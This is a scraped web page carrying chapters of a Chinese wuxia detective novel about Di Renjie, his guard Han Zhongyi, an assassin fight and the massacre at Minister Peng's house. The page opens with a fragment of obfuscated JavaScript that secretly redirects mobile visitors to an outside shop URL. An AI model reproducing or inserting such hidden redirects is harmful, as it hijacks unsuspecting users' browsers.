RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051949|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你既认了出来,今晚便让你死无葬身之地!” 韩忠义从他口中证实了自己的猜测,果然是正确的,一面见招拆招相斗众杀手,一面道:“你们果真是寒刀帮的人!江湖中数载未曾再有寒刀帮的动静,如今尔等再度复出,现身于京畿重地,有何图谋?何乃要劫走兵部彭尚书,快快招来!” 领头的哼哼冷笑道:“将死之人,何必多言!韩忠义,你知道的太多了,老子今夜便送你上路!给我杀了他!”一面与部下一齐将其围攻。 韩忠义起初乃赤手空拳与诸杀手相斗,见他们武功均不弱,本就不好对付,此时那领头的再参与其中,更是难办。虽有武功绝招“无影拳”,但此刻却更想试试寒刀帮的刀刃,究竟有多厉害。于是一个转身,呛啷一声,拔出宝剑,猛然横向一挥,顿时从锋刃抛出了一阵剑气,朝十余人甩将去。 那剑气虽无形,却可以在一瞬间改变空气的走向,尤其是受到冲击之物,会跟着剑气扭转自身,比如此刻的雨水,从石板路上直接飘了起来,在剑气无形地划过的一瞬间,于半空中四处飞溅,登时小巷子里下了一阵小雨。并且雨水夹带着剑气,柔软的水珠竟也变得锋利了起来,像暗器一样,会伤人! 杀手们大吃一惊,手中短刀连忙在空中乱舞,叮叮当当,击散飞雨,却被无形的剑气一阵带动,身不由己,向后整个人跌了出去,摔在了石板路上的水滩中。 领头的虽然跃起身避开了剑气,但最让他吃惊的却是,韩忠义手中刚刚拔出的那把宝剑。 那把当年横行江湖无敌手,被称为天下第一剑的“凌云剑”。 这把剑在韩忠义的手中闪闪发亮,呈现出碧蓝色的光泽。上面隐约可见祥云的纹路,翻卷着洁白,缠绕在剑身之上。在明月的照耀下,这把剑晶莹剔透,滑溜如冰,仿佛初露的晨曦,清澈又闪亮,光芒四射。虽然看似不堪一击,却偏偏在韩忠义的手里,锋利无比,削铁如泥,成为了世所称羡的宝物。 “好一把凌云宝剑!”领头的双脚又落了下来,赞叹道。 “你们寒刀帮这次来,”韩忠义手中握着剑,看着那领头的,“到底有什么阴谋?” 那领头的眯着眼不答,却在遮面布后面冷笑了几声,突然双眼一睁,手持短刀,一个箭步,直刺向韩忠义。 韩忠义心道:“好快!”忙使剑招架。 那领头的双手各使一刀,一刀快似一刀,攻中带守,招招互补,较其部下攻速更甚。 韩忠义出剑亦如疾风骤雨之势,叮叮当当,凌云剑尖划圈挡格,身子向后连退,地上雨水四溅。 领头的向前猛攻,出刀如风,刺、划、砍、劈,欻欻连声,却怎么也攻不到韩忠义的剑尖以外之处。 韩忠义突然身子向前一扑,连带剑尖划过那领头的双刀,向其面门刺去。 领头的连忙收招,回转双手,交叉双刃,挡格剑尖,被韩忠义向前直扑,不由得连带剑尖向后连退。 韩忠义立时反守为攻,右手宝剑连连转圈,剑刃撞击双刀,火花四溅,叮当乱响,连绵不绝。 受伤的杀手们早都躲在一旁瓦檐下,目瞪口呆地看着韩忠义和那领头的一前一后刀剑相交。 巷子里街道窄狭,围绕着一排排铺子店,行动受限,多有不便,却也更显出了二人应变之强。 韩忠义却因恐损及周边民房,以致长剑无法施展,遂卖个破绽,跃上左旁屋顶。那领头的也随即跃上。 二人踏着湿瓦,刀剑再次相交,在寂寥的夜空中发出既铿锵又杂乱的声响。 斗得四十余招,那领头的眼见不敌,忙向后连退数步,倏地抛出无数枚针,直飞向韩忠义。韩忠义道:“雪松针!”幸亏眼快,手脚敏捷,一闪之间,手舞宝剑,逐一格开,细针皆落于瓦片之上。 领头的心想:“他竟也识得雪松针,还能顷刻击落,真不简单。”兀自思索,韩忠义剑尖已送向自己,遂连忙架开。又拆得十来回,渐渐力怯,便乘机脱逃。 韩忠义追将前去,却被一群杀手飞来暗器,不得不挡架,又躲来闪去。 忽然一声炸响,烟雾弥漫,什么也瞧不见了。 韩忠义明知他们是用了障眼法,以便撤离。 果然,待消散后,一个杀手也没了。 韩忠义叹了口气,收剑入鞘,又回到那屋顶上去捡了一根针收了,便径奔彭府。 4. 第四章 宰相 时月明星稀,三更夜半子牌时分,风雨止息,万籁俱寂。 韩忠义穿过几条街,不一时便来至彭府大门前。 宅内明亮的灯火,将惨案照得真真切切:从门口处,到前院、里屋、大厅、后堂,都铺满了尸体,鲜血跟雨水流得遍地通红。 韩忠义倒吸了一口气,不再多加注视,迅即跨过,来至大厅,见两个人正站在当中。 其中一个二十来岁年纪,身材偏瘦,面容清癯,甚至苍白得有些过了头了,显得倒有些病态。他几乎面无表情,像个死人一样,其实他也会哭会笑,只是要看在什么时候。他显得非常老沉,不像是他这个年龄的青年该有的样子,倒像是个看透人情世故的中年人,甚至是老年人。他平常只知道服从老爷的命令,从不多说、多问一句话,除非老爷亲自问他,要他说,他才说。否则的话,人们还真以为他是个哑巴。 他叫狄宁,是他旁边这个老年人的亲信。 他此刻手秉灯烛,正在给旁边的这个老年人照亮。 这个老年人已年近七旬,须发皤然。他目光慈祥,却不乏敏锐,既威严庄重,也平易近人。既有沉默寡言的智慧,亦有当言不讳的勇气,有着视功名利禄如浮云的淡泊,又怀着济世安民似圣贤的壮志。 此人即是当朝宰相狄仁杰。 彭府惨遭灭门的场面,令他深感悲痛,不由得眉头一皱,湿了眼眶。他叹了口气,见韩忠义站在左首,微微低着头,一言不发,似是不愿打扰他的思绪,遂拭了拭即将垂下的泪水,轻轻地说了一声:“回来啦。” 韩忠义这才开口道:“大人。” 狄仁杰又叹了口气,缓缓摇头。 韩忠义狠狠道:“竟然连这些无辜的家人都没有放过,实在是歹毒啊。”见狄仁杰没说话,遂不复言。 狄仁杰半晌方转向韩忠义,问道:“忠义啊,你适才如何?” 韩忠义道:“大人,果然不出你所料。卑职按照你的指示,候在了西街口,才一转眼功夫,便有十来个蒙面人携着一人奔逃……” 狄仁杰抢道:“你还躲了起来,吓了他们一番,对吗?” 韩忠义笑道:“大人连这都知道。” 狄仁杰微笑道:“你继续说。” 韩忠义续道:“那些歹徒携着彭大人,他被套上了头罩……” 狄仁杰忙问:“你说头罩?这么说,那人的面容你并不曾见?你敢肯定是彭大人?” 韩忠义想了想,道:“确实没看见面容。可是你一派胡乐前来说了声,‘不要放跑了歹徒和他们手中所携的彭大人’,我见那歹徒的领头便立即叫了两个手下来,命他们二人将彭大人带出城去。他们说的‘彭羽’二字我听得是清清楚楚。我看他们这也并不像是在演戏,所以应该就是彭大人没错。” 狄仁杰点头道:“嗯,也对。这么短的时间内,要想掉包也着实不易。” 韩忠义问道:“大人,方才,你并不曾察看作案现场,尚且不知府内有没有彭大人,却怎地料到他会被歹徒劫走,又叫我到西街口拦截呢?” 原来就在不久以前,那会儿天上仍下着大雨的时候,狄仁杰的宰相府当中,是这样一个情况。当时,当晚的这第一场大雨正在狂乱地挥洒,黄豆般大小的雨点倾盆而落,雨声哗啦啦地直响,将正在进行的彭府灭门案的声响完全覆盖住了,连彭府周围都不可能听到雨声以外的任何声音,所以并无人知道当时正在发生那样恐怖的事。宰相府中的狄仁杰几个人更是不可能知道。 偏偏这时候,狄仁杰和他的护卫、管家和亲信几个人都还没有睡呢。 可这大半夜的不睡觉,却是何故?只因他们四个人正在准备行囊和盘缠,为的是明日一早出发。 却说当时,狄仁杰正站在窗口,若有所思地望向漆黑一片的窗外,听着响彻耳畔的落雨声。此时此刻,此情此景,他不由得有感而发,随口念了一首情景交融的五言诗,题做《秋夜听雨》。诗云: 秋夜人寂静。心绪随雨宁。 伫立听雨声。点滴击窗棂。 胸中三两语。浅吟抒怀襟。 窗外雨未歇。心内意不停。 夜雨如墨倾。挥洒窗纸映。 人在雨墨中。灯下留孤影。 秋雨滴梧桐。叶随风飘零。 不知明朝路。几许红满径。 落叶去何方。道旁陷泥泞。 庭院转萧条。风雨甚无情。 夜色犹墨染。空气如寒冰。 窗前聆淅沥。黯然望秋景。 秋意已渐晚。夜半正三更。 可怜人如叶。亦随秋凋零。 长叹夜深沉。何时残梦醒。 终了人散场。世事皆曾经。 亲信狄宁前来说:“老爷,小的按照你的吩咐,已经发放了工钱和路费的银子,将狄府上下几十口家人和仆人们,全部都遣散了,每人都多给了十两银子,让他们各自回家去了。如今狄府中除了韩将军、胡乐和我,其他人都已经走光了。” 狄仁杰点头“嗯”了一声,说道:“这样也好,总是要散的,早散晚散都一样。不如都去的好啊。” 狄宁听了这话,不知道说什么好,于是问道:“老爷,难道不想留下几个家人仆人来看家吗?等我们以后回来了,至少狄府在我们离开的这一段时间里,还有人管。这样一下子把人全都遣散了,狄府在我们四个人走后就空了。” 狄仁杰轻轻地笑了笑:“放心吧,我们回不来了。” 狄宁惊讶地望着狄仁杰,颤声道:“老......老爷,你......你说什么?” 狄仁杰意味深长地看了他一眼,说:“没什么。” 这时,那矮胖管家胡乐抱着一大堆包裹,踉踉跄跄地走了过来,拉长了声调地埋怨道:“唉呀,老爷!我累死了!你叫小的准备了俺们路上的行囊和包裹,我准备了一下午,连歇晌都没空儿,现在终于准备好了!里头换洗衣服、银两、干粮、地图什么的,乱七八糟的,我都打包了,路上扛着够俺们一行人活活累死!嘿,这会子总算是可以去打个盹儿了。明儿一早天还没亮就又得起床,等上路了,也不知什么时候还能再睡个踏实觉。唉,我累啊,累啊!老爷,我能去歇会儿了吗?” “你小子就知道吃了睡睡了吃,马上就要上路了还在抱怨!”韩忠义笑骂着走过来,手上端着一个茶盘,茶盘上面泡了杯茶,过来给狄仁杰:“大人,喝杯茶。” 狄仁杰笑着说:“忠义啊,你怎么也做起端茶倒水的活来了,好,多谢。”一面接了过来啜了一口香茗。 韩忠义笑道:“谁叫大人不留余地,把家里下人们全都一口气遣散了,连一个也不留,所以今后只有卑职来服侍你了。” “呵呵呵,”狄仁杰笑着说,“那我可不敢当。你可是皇上亲封的将军,我怎么能让你失了体面。” “大人这说的是什么话,”韩忠义认真地说,“卑职能够陪在大人身边,时常服侍大人,这在卑职看来,就是最有体面的事。至于什么将军之职,又何足道哉。” 胡乐摇头晃脑地说:“老爷!小的能去睡觉了吗!” 狄仁杰说:“去吧,赶紧歇一会儿,明日一早城门虽然要等到辰牌时分才开,但我们几个既然要赶在第一批尽量早地出城,估计天还未亮就得起床。” 胡乐道:“老爷,咱有必要这么赶吗?就算晚一点又怎么样呢?这样还能多睡一会儿。” 狄仁杰说:“不行,就要赶在第一批出城,我们此次出行非常地赶时间,那是刻不容缓。这事就这么定了,不必再议。” 胡乐听了这话,也只得罢了,但他还是忍不住问道:“老爷,小的我还是觉得莫名其妙,真的,我搞不明白,咱这次到底是去做什么呀?” 狄仁杰说:“我已经说过了,此次出行的目的地,是边关。” “不是老爷,我知道咱们是去边关,但......但我们几个去边关干什么呀?” “你也不用多问了,”狄仁杰微微皱起眉头,轻轻地咳了两声,“此去边关,乃是陛下差遣,奉旨而去。自然是无可推诿。不论如何,这段边关之路,我们是非走不可的。所以你也不用再问了,因为就连我自己,都不能完全说清楚,我们此去边关,到底是做什么去了。” 胡乐摆了摆手:“嗐,得了得了,反正是非去不可了,说了也没用,罢了罢了,去就去吧。就怕去了也是白去,到头来一场空,什么意义都没有。嗐,得了,睡觉去了。老爷,你们几个也早点歇,别明儿大清早起不来床,误了上路。” 韩忠义笑道:“我看起不来床的是你吧!每次就你贪睡,误了正事,倒来说我们。快去睡吧。” 胡乐于是睡觉去了。 狄宁道:“老爷,小的也有些困乏,也去歇了。” “去吧。我和忠义过一会儿也去歇了。” 狄宁于是也走了。 这时大雨仍在哗啦啦地下着,雨水敲打着窗纱,狂风呼啸着刮来,窗纱不停地响动。 “忠义啊,”狄仁杰说,“你也早点歇吧。” “大人,”韩忠义认真地问道,“皇上此次派遣你去边关,到底是要我们做什么?” “忠义啊,我适才,不是已经跟胡乐说了......” “大人,卑职是认真地问的,卑职是真的想要知道。”韩忠义放低了声量,跟狄仁杰悄声说,“卑职知道刚才胡乐和狄宁在旁边,大人有些话不好直说。现在只有卑职在此,还望大人不要隐瞒。” 狄仁杰诧异地看着他,沉默了半晌,方才说道:“你这话是何意?为什么说,当着他们两个人的面,我有话不好直说?” 韩忠义欲言又止,许久,才说:“大人真的不知道?我们每次断案过程的种种细节,皇上都提前知晓,而大人都尚未向皇上奏报,卑职也自然是不会越过大人就跟皇帝说的,那么,这消息到底是谁泄露的?” 狄仁杰微微蹙眉:“你,怀疑的根据是什么?” “排除。虽然每次断案,涉案人员都不止我们几个,但随着消息的屡次泄露,每次都有机会接触到消息的人当中,都有我们四个人。那么如果,向皇帝透露消息的人不包括卑职与大人在内,那么剩下的还有谁呢?只有胡乐和狄宁二人。” “忠义啊,你的意思是?” “卑职的意思是,他们二人中间,至少有一个,是内奸。” “内奸?” “是的,而且,他的主子,就是皇上。” 狄仁杰轻轻地叹了口气,望着窗外的雨,说:“我早就知道了。” 韩忠义有些惊讶地问:“大人早就知道了?” 狄仁杰点点头:“嗯。我知道,我知道他是谁。但我......我不想说。” 韩忠义咬咬牙:“卑职也不想知道。” 狄仁杰道:“至少现在,有些人、有些事,还是不要说破的好啊。” “大人,包括皇上派遣你去边关的事,也是不要说破的好吗?” 狄仁杰点了点头,叹道:“因为,说破了一文钱都不值啊。” 韩忠义也望着窗外的大雨,有些哀伤地轻叹了一声。“大人,卑职只想问问你:我们,还能回得来吗?” 狄仁杰说:“那要看天意了。” “如果,卑职是说,如果按照正常的情况来说,我们此去边关,还回得来吗?” “估计是回不来了。” “好,”韩忠义这时反倒想开了,说道,“倘若,这边关之路,的确是一条不归路,那么,卑职愿意跟随大人一起走下去,直到路的尽头。” 狄仁杰眼眶湿润了,那是模糊了他的视线的热泪。他用手拍了拍韩忠义的肩膀,韩忠义也含着热泪望向狄仁杰苍老的面庞。 狄仁杰用一双坚定的眼神看着韩忠义说:“人生在世,但求无愧于心,其余的,都尽付其中。我们只需‘尽人事听天命’,也就不枉为人一场了。忠义啊,你要记住:人的尽头,就是天命。” 韩忠义点头:“卑职明白了。真正的认命,不是坐以待毙,而是勇往直前,尽力而为,直到再也无路可走的时候,依然能够乐天知命,不去怨天尤人,坦然地接受每一个临到自己的境遇,这就是真正的认命,真正的明白了什么是天意。大人,卑职理解对了吗?” 狄仁杰微笑着点了点头:“知我者,忠义也。” 他们二人于是安静地聆听着落雨声,不再说话。 因为此时此刻,一切尽在不言中,所以无需多说。 雨水敲打着窗棂,给空空的宰相府增添了一抹难以言喻的凄凉。 风雨声将天地万物尽都淹没,也将狄仁杰和韩忠义二人的思绪掩藏,点点滴滴都被消融在了这个刮风下雨的秋夜里,一切的一切,尽都随着院落里的霜叶凋零,在无边无际的淅淅沥沥当中,一同归于静寂。 这将是他们几个人在洛阳城的最后一个晚上,从明日起,陪伴着他们的,就只有一条漫长到没有尽头的边关之路了。 而最后为他们送别的,不是任何一个人,不是十里长亭,不是昏黄的烛光,也不是清晨的朝阳,而是这场秋夜里的凄风冷雨,还有这座空荡荡的宅院。 狄仁杰却突然有了种不祥的预感,虽然他也说不清道不明,究竟是什么事让他感到有些不安,但他凭借着自己多年以来训练得相当准的直觉,有了一种很奇怪的感想,那就是:这个风雨之夜,恐怕要出事。 韩忠义见狄仁杰蹙起眉头,便问道:“大人,你怎么了?” 狄仁杰没有说话,可眉头仍是皱着。 “大人,你没事吧?你是不是想到了什么?” 狄仁杰突然冒出了一句莫名其妙的话:“忠义啊,近来,陛下对彭大人......” 韩忠义摸不着头脑:“大人指的是,兵部尚书,彭大人?” 狄仁杰道:“嗯。” “皇上对彭大人,有什么问题吗?” “态度有点怪。” “卑职听说,皇上对他挺好的,甚至有点好得过了头了,大人怎么会觉得怪呢?” “你说对了,”狄仁杰道,“怪就怪在这里。” 韩忠义愈加听不懂了,于是听狄仁杰说道:“我怀疑,陛下对彭大人的突然提拔,或许并没有表面上看去的那么简单。众所周知,彭大人身为朝廷命官,并未尽到一个为官者所当尽的责任,反倒是阿谀谄媚有余,尽忠办事不足。如今边陲战事陡起,朝廷正是用人之际,陛下却一反常态,刻意去拔擢了一个有目共睹的毫无贤能之辈,不知用意何在?这本身就是一个很大的疑点。虽然陛下的手段,我们都是知道的。她老人家是什么人都敢用。像前些年,她为了巩固权力,重用了一大堆酷吏,搅得天下大乱,弄得民心不安,大肆株连以排除异己、清洗政敌,将李唐宗室几乎屠戮殆尽。又大兴冤狱,力倡告密之风,致使人人自危,恐怖的气氛弥漫在天下的每个角落,整个世道的道德风气无比地败坏。那时太后懿旨,鼓励天下人人告密,对那些告密之人大加奖赏,许以高官厚禄和大量金银,又将驿站和旅舍供给前来告密之人住宿,于是前往神都洛阳专为告密的人不绝于途,连道路都堵塞了。无数人纷纷前来谒见太后,只为相互之间诬告陷害、检举揭发,不知有多少人为了钱财、官位、私怨,甚至单纯只是为了要无端构陷他人而告密揭发。数年之内,大肆制造了数不清多少冤案,连带着多少平民百姓以及无辜之人身陷囹圄,被酷吏残害,无数人惨死狱中,有冤无处诉。因为被牵连到了政治斗争当中而家破人亡者,更是不计其数。那会儿弄得是民怨沸腾、骂声一片。如今,皇上的宝座已然坐稳了,酷吏来俊臣等辈也就失去了其利用价值,同时,不杀不足以平民愤,于是今年上半年,来俊臣终于被陛下判了死刑,遭受了他应有的报应。” 韩忠义哼了一声:“来俊臣这厮当真是恶贯满盈,死有余辜。几年前,大人第一次在武周朝当上宰相的时候,没过几个月,就被这王八蛋给陷害入狱,诬以谋反,差点就冤死狱中了。幸亏大人当时用智谋脱身,被皇帝改判了流放彭泽做县令。这才有了去年大人第二次被皇帝任命为宰相、同凤阁鸾台平章事,这么一个曲折的被罢相了几年以后又一次被起用为相的经历。” 狄仁杰听了韩忠义的话,也不由得感慨万千,于是叹道:“是啊,人生的经历,有时就是这么曲折离奇。想我当年科举及第以后,初入官场,对人情世故还是懵懂无知,少年轻狂,看不惯那些同僚。当时,我位置还没坐稳,就已经被人参了一本,随便给我安上几个罪名,头上的乌纱帽就连带着官袍一起丢了,差点连命都保不住,自己却还不知道都发生了些什么。那时,我被人带到了我的恩师、黜陟使阎立本大人面前,接受审判。这是我与恩师初次见面,我们畅谈良久,他随即替我洗脱罪名,还鼓励我说:君真乃‘沧海遗珠’。我深受恩师鼓励,整个人感动得热泪盈眶。 “原本,我也有着怀才不遇之叹,可遇到了恩师以后,我从此改变了观念。人生在世,只要对得起天地良心,为所当为,仰无愧于天,俯不怍于人,便是参赞天地之化育,便是生而为人意义之所在。就如屈原说的:‘亦余心之所善兮,虽九死其犹未悔。’我从此便立定志向,凡事只向内心和上天交代,但行正义之事,不问前途如何。正所谓‘芝兰生于深林,不以无人而不芳。君子修道立德,不以困厄而改节。’当效法‘古之学者为己’的精神,常存戒慎恐惧、临深履薄之心,于事事物物上慎其独也,不愿有丝毫愧对天理良知之处,这方才称得上是修养。 “一个人欲成就掀天揭地的事功,个人的心性修养是绝对少不得的。《大学》所说的格物、致知、诚意、正心、修身、齐家、治国、平天下,正是修养的步骤,曾子又用一句话归结为‘自天子以至于庶人,壹是皆以修身为本。’一个人郁郁不得志,困窘落魄、境遇艰难之时,也不要自暴自弃,要有像颜回那样安贫乐道的精神,坚持修养和学习,勇往直前,自强不息,藏器于身,待时而动。不要去怨天尤人,也不要去厌恶环境,因为困境正是上天的安排,用来磨炼我的心性和意志,使我在痛苦中变得更强大,‘所以动心忍性,增益其所不能。’孔明有两句论修养的话极好:‘非学无以广才,非志无以成学。’‘非淡泊无以明志,非宁静无以致远。’ “要多读书,广涉经史,日积月累,持之以恒,个人的见识和修养自然会与日俱增,逐渐地就能够融会贯通,下学而上达,由平凡日用的人事领略到高深莫测的天道,一切都在修身养性的过程当中自然实现,但问耕耘,莫问收获。路要一步一步地走,事要一点一点地做,尤其是在修养这件事上,唯有在茕独当中默默地栽培。不要拔苗助长、好高骛远,只要脚踏实地、用功不懈,迟早有一天会长成参天大树,枝繁叶茂乃是必然的结果,所以说天道酬勤,自助者天助。人生是一段路,一段路就是一场修行,人生的旅程就是在追寻着真理。荀子曰:‘不积跬步,无以致千里。’老子曰:‘千里之行,始于足下。’《离骚》云:‘路漫漫其修远兮,吾将上下而求索。’此之谓也。 “凡是义所当为,义之所在,虽千万人吾往矣,即便明知其不可为,吾亦为之,直到人事的尽头为止。至于功名利禄则不值一提,倘若身后当得功名,惟愿其无愧于今朝。既然决定踏进仕途当中,就尽我所能地做到,为官一任、造福一方,上报君王、下安黎庶,而且,尽我所能地洗脱天下人的冤屈,不让世上任何无辜之人被冤枉陷害,也不让世上任何有罪之人得以逍遥法外。 “二十多年前,高宗仪凤年间,在我四十六岁左右,我当上了正六品的大理寺丞,一年时间里,断了有无数个积压案件,共涉及有一万七千人之多,做到了无一人喊冤。这些案件当中涉及到有关京城中权贵的有无数个,就案件的本身来说,许多都并不难断,都是真相明明白白地摆在面前,却依然无人敢去决断的。因为人人都慑于权贵的势力,不敢得罪他们,所以纵使发现了某人的冤屈,如果案件背后涉及到了上头的人,也无人敢去为一个没权没势的老百姓洗冤说话,同样,纵使发现了有权势的人犯了法,因为犯法之人有权有势,所以断案之人要么就不敢判案,要么就轻判,甚至收了贿赂以至于直接判为无罪,更有拿无辜之人顶罪当犯罪之人的替死鬼,故意制造冤案的,那是数不胜数。 “据我几十年来的经验和认识,许多越是懂得法律的人,越是懂得如何犯法,因为他们对于法律条文比别人更加熟悉,所以更容易去钻法律漏洞,也更能让自己逃脱法律的审判,也就是所谓的知法犯法,到头来却不必受罚,这种人在官场中相当之多。更有许多权势熏天之人凌驾于一切法律之上,成为了法律的制定者,更是证明了古人所说的‘刑不上大夫’这一句话,确实是千古不变的事实。 “法律的本身就是防君子不防小人,对于那些故意要违法乱纪之人,法律和刑罚都起不到什么威慑作用。因为刑罚毕竟还是出现在犯罪的行动之后,换言之,刑罚虽然能够在事后惩治犯罪之人使其受罚并且为自己的犯罪行为付出代价,却无法在事前真正保护被伤害的人免于被伤害。但这不是法律和刑罚的错,而是人性当中根深蒂固的罪恶的错,而这个更加深层的问题,却是法律和刑罚所无法解决的,更是人世当中任何制度都无能为力的。所以历史上出现了法家的思想,认为除了靠严刑峻法治国以外,没有任何别的办法能够有效地去控制住人性当中的恶,于是法家提倡的是用外在的严苛的刑法来试图遏制住人的外在的犯罪行为,然而却无法解决人心内在的犯罪之念,也就是忽视了人心当中更加根本的道德问题,因为法律是从外面强加的,而非由人内心里面自发地生出来的道德意识。 “譬如法家的代表韩非就曾经说过‘儒以文乱法,侠以武犯禁’之类的话,认为儒家的德治礼教不可靠,又认为侠客以暴制暴本身也是在触犯法律故而行不通,是以只有朝廷以严刑峻法治国才能够有效地避免世上的种种犯罪。然而事实果真如此吗?历史上,许多朝代开始的时候,刑法都是简单的,而越到了后来,刑法就越来越多并且也越来越繁琐,比如说始皇那会儿的秦国末年,秦国严苛的法律,非但无法减少世上的犯罪,反倒是犯罪之人越来越多,到处都充满了违法乱纪之人,不久后秦国就亡了。结果汉高祖入关以后,跟咸阳父老约法三章,将刑法减到最少,反倒免除了老百姓动辄得咎的负担,深得民心,最终定鼎天下。一直到了汉武帝末年,随着刑法的严苛和越来越多的法律条文,世道的动乱和犯法的增多也就越来越明显了。 “因此就能理解孔子所说:‘道之以政,齐之以刑,民免而无耻。道之以德,齐之以礼,有耻且格。’是有道理的。因为人性根深蒂固的问题,不是刑法和制度所能全部解决的,但同时,又不能完全离开外在的刑法,因为治理国家不能把希望全部寄托在个人的自我克制上,也必须同时有着法律等外在的约束,并且用道德和礼义来教化民众,江山社稷才有望达到长治久安,也才能从内外两方面同时解决问题。这才是不偏不倚的中庸之道,是古圣先贤的教诲。 “自古以来所争论的王道与霸道的问题,所谓的‘王霸之争’,也就是有关于法治与德治,强权与仁义,这些对立的观点的争论。古人曾经给王霸下过定义:‘以权假仁者霸,以德服人者王。’也就是说,在施行霸道的统治者那里,所谓的仁义道德只是一个幌子,而不是其统治的实质。霸道的统治本质上用的就是强权,却又竖立起一面仁义道德的旗帜,好像其乃以德服人者,而实则名实不相符也。 “于是你就明白,为何会出现名家思想,因为名实不相符也是世道混乱的原因之一。所以说,最可怕的不是这世上的小人,而是那些伪装得像君子的伪君子。这些虚伪的人最可怕,因为他们懂得拿仁义道德来欺骗世人。你也知道道家的老庄思想反对儒家的仁义道德,是因为道家思想从另一面看到了仁义道德被极力推崇所产生的弊端,也就是仁义道德早已失去了其自身的实质,而沦为了那些不怀好意和虚伪之徒的一种工具,专门借用仁义道德的名号来做坏事,最终让那些坏事都披上了一件仁义道德的外衣,来掩盖他们的罪恶以及不道德。所以说霸道的本质就是虚伪,是名与实不相符合,而王道反之,乃是真诚,是名实相符,内外一致。因此古人认为,匡正名实,乃是拯救世道混乱的一件要紧事,不可不察。 “忠义啊,无论什么样的制度,归根结底,都是人治。为政在人,人是根本,所以真正要解决的问题就是人的问题。我们也知道,良好的政治,有几个特点:以民为本,选贤任能,赏善罚恶,公平公正。首先最重要的就是以民为本。孟子曰:‘民为贵,社稷次之,君为轻。’太宗皇帝也说过:‘民者,水也。君者,舟也。水能载舟,亦能覆舟。’天下,不是一人一姓之天下,而是天下人之天下。若无民众,何来国家?故而,得民心者得天下,不得民心者失天下。不得民心而得天下者,未之有也。纵使靠着权谋和手段得了天下,若是不得民心,也终不长久。所以说老百姓才是江山社稷的根本。 “既然为政治国以民为本,那么朝廷就应当选贤任能,让那些正直贤能的人当官。官者,民之父母也。一个当官的人,虽然地位好像要高于民,可他的责任本应当是服务于民,像父母一样爱护自己治下的百姓。为官者,名为治理百姓,实为服务百姓。要爱民如子,才配得上是一个父母官。但这世上大多数的官员却不是这样,他们以权谋私,贪赃枉法,因为当了官,反而用自己手中的权力去欺压百姓。 “所以朝廷要赏善罚恶。然而善恶的本身就是一个大问题。人性究竟是善的还是恶的呢?古人的观点当中最有名的就是孟子和荀子。孟子认为人性是善的,荀子则认为人性是恶的。所以孟子认为每个人本自具足的良知就有着自发的道德意识,所谓‘恻隐之心,人皆有之;羞恶之心,人皆有之;恭敬之心,人皆有之;是非之心,人皆有之。恻隐之心,仁也;羞恶之心,义也;恭敬之心,礼也;是非之心,智也。仁义礼智,非由外铄我也,我固有之也,弗思耳矣。’荀子却认为人之所以需要外在的法律和教化,正是因为人性当中并不天生就具备善良的缘故,于是论证说:‘凡人之欲为善者,为性恶也。夫薄愿厚,恶愿美,狭愿广,贫愿富,贱愿贵,苟无之中者,必求之外;故富而不愿财,贵而不愿势,苟有之中者,必不及于外。用此观之,人之欲为善者,为性恶也。今人之性,固无礼义,故强学而求有之也;性不知礼义,故思虑而求知之也。然则生而已,则人无礼义,不知礼义。人无礼义则乱,不知礼义则悖。然则生而已,则悖乱在己。用此观之,人之性恶明矣,其善者伪也。’‘古者圣人以人之性恶,以为偏险而不正,悖乱而不治,故为之立君上之势以临之,明礼义以化之,起法正以治之,重刑罚以禁之,使天下皆出于治,合于善也。是圣王之治,而礼义之化也。今当试去君上之势,无礼义之化,去法正之治,无刑罚之禁,倚而观天下民人之相与也,若是,则夫强者害弱而夺之,众者暴寡而哗之,天下悖乱而相亡不待顷矣。用此观之,人之性恶明矣,其善者伪也。’ “我们可以不去争论有关于人性是善是恶的问题,但是我们无法逃避现实中确实存在着善恶的问题。这世上有人行善也有人作恶,而且我们凭着良知和经验能够分别善恶,也就是说,我们每个人至少都有一个分别善恶的标准,知道善恶到底是一个什么样的呈现。为什么我说呈现呢?因为善恶的本身我们看不见,但是我们能够看见一个具体的人做出或善或恶的行动,而这一个个善恶的行动就在这世上把那看不见的善恶具体地呈现了出来。于是我知道,善恶共同构成了这个世界,也许没有了善恶也就没有了世界。如果说善恶的标准在每个人的心里,那我们就永远也找不到一个绝对的标准,因为每个人心中的标准都不一样。往往一个真正的好人做善事,这个好人自己却并不认为自己是在行善,同样,恶人做坏事的时候也有可能并不认为自己是在作恶。这时候善恶的标准在什么地方?凭我这么多年断案的经验,很多人不要说内在的良知,就是外在的教化、法律、刑罚,都起不到任何遏制其罪恶的作用。所以我也并不愿意为这世上的恶人们开脱,因为对善恶没有任何分别的人毕竟还是少有的,大多数的恶人作恶都是很清楚自己是在作恶的,但他们依然选择去这么做,那么我有什么资格替受害者去原谅作恶的人?没有,我没有资格去原谅,替我自己可以,为别的受害者却不行,所以留给作恶的人的就只有正义的审判。 “但是善恶的界限有时候依然是不分明的,因为这世上的事并不是单一的行动那么简单,而是处在一系列的事件和因果关系当中,往往牵一发而动全身,有着关涉全局的影响力。所以每一个单一的举动也都要谨慎地抉择,不能有任何罅漏。有时候,你好像做了一件善事,却反而导致了不好的结果,有时候却似乎做了不好的事,反而有了好的结果。换言之,做一件事的时候,不但要考虑做的这件事的本身,还要考虑这件事做了以后的影响力。这就是我说的,任何事都不是单一的,而是跟全局有着关联的。 “过去孔子的弟子子贡,帮鲁国从别的诸侯国赎回了奴隶,鲁国的国君想要赏赐子贡,子贡却拒绝了。这似乎是一件美德和好事,然而孔子却在听说了以后骂他:你做得不对,因为这世上不是人人都像你这样清高,对于国君的赏赐毫不在乎,而为了得到赏赐,本来还会有人愿意去别的诸侯国赎回奴隶的,不过因为你这样做了,将来再也没有人去赎回奴隶了。还有一次,孔子的另一个弟子子路,有一回经过河边的时候,看到河里有人溺水,于是就把溺水的人救了出来,而这被救的人送了一头牛给子路用来感谢他的救命之恩,子路坦然接受了这头牛。这又似乎不够清廉,如果子路不去接受这头牛是不是更好呢?然而,孔子却在听说了以后赞许他:你做得很好,从此以后,会有更多的人为了得到一头牛而去救出溺水的人,更多溺水的人会因为你这举动而得救了。这就说明了一件事,那就是一个人就连行善也要有智慧。忠义啊,在这世上做人可不是件容易的事啊! 